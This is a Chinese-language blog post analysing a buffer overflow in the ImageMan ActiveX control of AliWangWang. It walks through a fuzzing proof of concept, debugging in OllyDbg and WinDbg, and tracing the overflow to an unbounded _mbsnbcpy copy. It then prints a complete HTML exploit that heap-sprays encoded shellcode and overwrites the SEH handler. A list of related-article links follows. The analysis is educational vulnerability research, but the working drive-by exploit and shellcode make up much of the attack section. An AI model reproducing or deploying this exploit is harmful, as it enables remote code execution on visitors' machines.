用ComRaider模糊测试


针对ActiveX控件的漏洞分析方法

poc

<html><body><object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object><script>var buffer = '';while (buffer.length < 1111) buffer+="A";target.AutoPic(buffer,"defaultV");</script></body>
</html>

OD附加IE
ALT+E,找到模块OLEAUT32,双击进入
Crtl+N,找到函数DispCallFunc,双击进入
找到DispCallFunc函数中首个CALL ECX,下断,动态调试,跟进即是漏洞函数

IE打开poc,程序断在CALL ECX

F7跟进
来到了AutoPic函数

获取超长字符串参数


触发

基于污点追踪定位漏洞

用windbg附加IE,打开poc,中断

(1340.370): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=1003ed3c ecx=0012fefc edx=ffed0104 esi=00000041 edi=00130000
eip=1003406b esp=0012dd78 ebp=0012dd80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\AliWangWang\Pictool\ImageMan.dll -
ImageMan!DllUnregisterServer+0x32e70:
1003406b 8807            mov     byte ptr [edi],al          ds:0023:00130000=41

看看edi

0:000> !address edi
Usage:                  MemoryMappedFile
Allocation Base:        00130000
Base Address:           00130000
End Address:            00133000
Region Size:            00003000
Type:                   00040000    MEM_MAPPED
State:                  00001000    MEM_COMMIT
Protect:                00000002    PAGE_READONLY
Mapped file name:       PageFile

所以异常是因为向只读内存写数据

在IDA找到中断地址0x1003406b
发现其位于函数_mbsnbcpy

红线即触发异常
0x1003406b位于_mbsnbcpy函数中,_mbsnbcpy中将第二个参数中的数据复制到第一个参数位置,第三参数size_t是复制的个数。
栈溢出的原因一般是对内存拷贝的长度没有限制,这里追踪_mbsnbcpy中第三个参数size_t。
Ctrl+X查看哪里调用了_mbsnbcpy

windbg栈回溯

0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012dd80 1001c324 0012dfc4 0012dec0 ffed2141 ImageMan!DllUnregisterServer+0x32e70
0012dd94 1001ac30 0012dfc4 0012dec0 ffed2141 ImageMan!DllUnregisterServer+0x1b129
0012e0c8 41414141 41414141 41414141 41414141 ImageMan!DllUnregisterServer+0x19a35
0012e0cc 41414141 41414141 41414141 41414141 0x41414141
0012e0d0 41414141 41414141 41414141 41414141 0x41414141
0012e0d4 41414141 41414141 41414141 41414141 0x41414141
0012e0d8 41414141 41414141 41414141 41414141 0x41414141
......

_mbsnbcpy函数返回0x1001C324
可以断定调用_mbsnbcpy的函数是sub_1001C310

sub_1001C310只起到了传输size_t的功能,并没有修改size_t,需要继续回溯上层函数。Ctrl+X

点进去,做了必要的分析

它的c代码

漏洞利用

覆盖seh


泉哥的exploit

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++) s+=unescape("%0D%0D%0D%0D");target.AutoPic(s,"defaultV");</script>
</body>
</html>

成功覆盖

阿里旺旺ActiveX控件ImageMan溢出 漏洞分析相关推荐

  1. asp activex 读取服务器上的文件,webshell中上传asp文件调用服务器ActiveX控件溢出获取shell...

    Team: http://www.ph4nt0m.org Author: 云舒(http://www.icylife.net) Date: 2008-02-19 做windows系统渗透测试的时候有w ...

  2. 在 .NET Compact Framework 2.0 中宿主 ActiveX 控件

    适用于: ActiveX Microsoft .NET Compact Framework 版本 2.0 摘要:了解如何在使用 .NET Compact 的应用程序中宿主 ActiveX 控件.本文提 ...

  3. 开发ActiveX控件调用另一个ActiveX系列0——身份证识别仪驱动的问题

    程序员要从0下表开始,这篇是介绍这个系列的背景的,没有兴趣的人可以直接跳过. 为什么要开发ActiveX控件 由于工作需要,我们开发了一个网站,使用了一款身份证识别仪的网页ActiveX(OCX)插件 ...

  4. vs2008 外部调用ActiveX控件接口方法

    转自:http://topic.csdn.net/u/20090605/16/018e26e9-06e2-4e0d-8099-bc8eb326afde.html sndaxdrs: 初学activeX ...

  5. VC使用ActiveX控件常见问题

    转自:http://lingchuangsong.blog.163.com/blog/static/126932322008631104133309/ 一方面,它表示将你联系到Microsoft.In ...

  6. vs2008 ActiveX控件测试容器的生成以及调试ActiveX控件

    1.ActiveX控件测试容器的生成:用TSTCON生成测试容器 http://msdn.microsoft.com/zh-cn/library/f9adb5t5(v=vs.90).aspx 在搜索里 ...

  7. 如何发布ActiveX 控件

    转自:http://blog.csdn.net/zougangx/archive/2008/07/30/2738147.aspx [背景] 做过ActiveX控件的朋友都知道,要想把自己做的Activ ...

  8. vc mysql控件_VC++使用ActiveX控件连接和操作数据库

    VS2008运用ActiveX控件连接和操作数据库关闭时一直有个内存释放的错误,好像使用VC6.0会多生成2个文件,就不会有问题. VC++使用ActiveX控件连接和操作数据库的方法分两种: 1.通 ...

  9. 用C#编写ActiveX控件(三) 转载

    在前面我们已经完成了ActiveX控件的开发,接下来的就是发布它了. 首先,我们建立一个windows安装项目,并将ActiveX控件的主输出添加到项目输出中.然后,改动ActiveX控件的主输出文件 ...

最新文章

  1. linux批量umount脚本,Linux下批量ping某个网段ip的脚本
  2. ubuntu 终端内查找/搜索
  3. AC日记——最大子段和 洛谷 P1115
  4. python之字符串连接
  5. vue 单独页面定时器 离开页面销毁定时器
  6. JavaWeb学习笔记(九)--HttpServletResponse
  7. 【uoj#174】新年的破栈 贪心
  8. Python字符串的替换
  9. unity android 版本,Unity2019与Android混合开发
  10. [排版题] 例4.1 输出梯形
  11. 异速联:解决打印样式个性化设置
  12. 4、python简单线性回归代码案例(完整)_Python:简单线性回归(不需要调用任何库,math都不要)...
  13. mysql drop表明_MySQL DROP TABLE会完全删除表还是仅删除结构?
  14. 数据结构队列算法——模拟病人在医院等待就诊过程
  15. Android 关于所谓的 深度睡眠 的问题
  16. python动画篮球大小_用Python把蔡徐坤打篮球视频转换成字符动画!
  17. Python 视频制作神器 -- Manim入门篇
  18. English - 英语学习小笔记
  19. css中字母数字自动换行
  20. Java核心技术·卷二·第一章笔记

热门文章

  1. 配置文件加密(Jasypt的简单使用)
  2. 尚硅谷谷粒商城第六天 本地事务、分布式事务及seata
  3. 未来深圳房价真的会有两倍的上升空间吗?
  4. 计算机系统集成三级级申请条件,计算机系统集成等级申请条件
  5. 极客班GeekBand - 互联网思维修炼 - 1
  6. Learn OpenGL 笔记6.8 Bloom(高动态范围)
  7. 当ERP遇到ChatGPT,新世界的大门被打开
  8. 数码管驱动设计-ISE操作工具
  9. 3秒爬取百度图片网站,批量下载各种图片
  10. An 逐帧动画的制作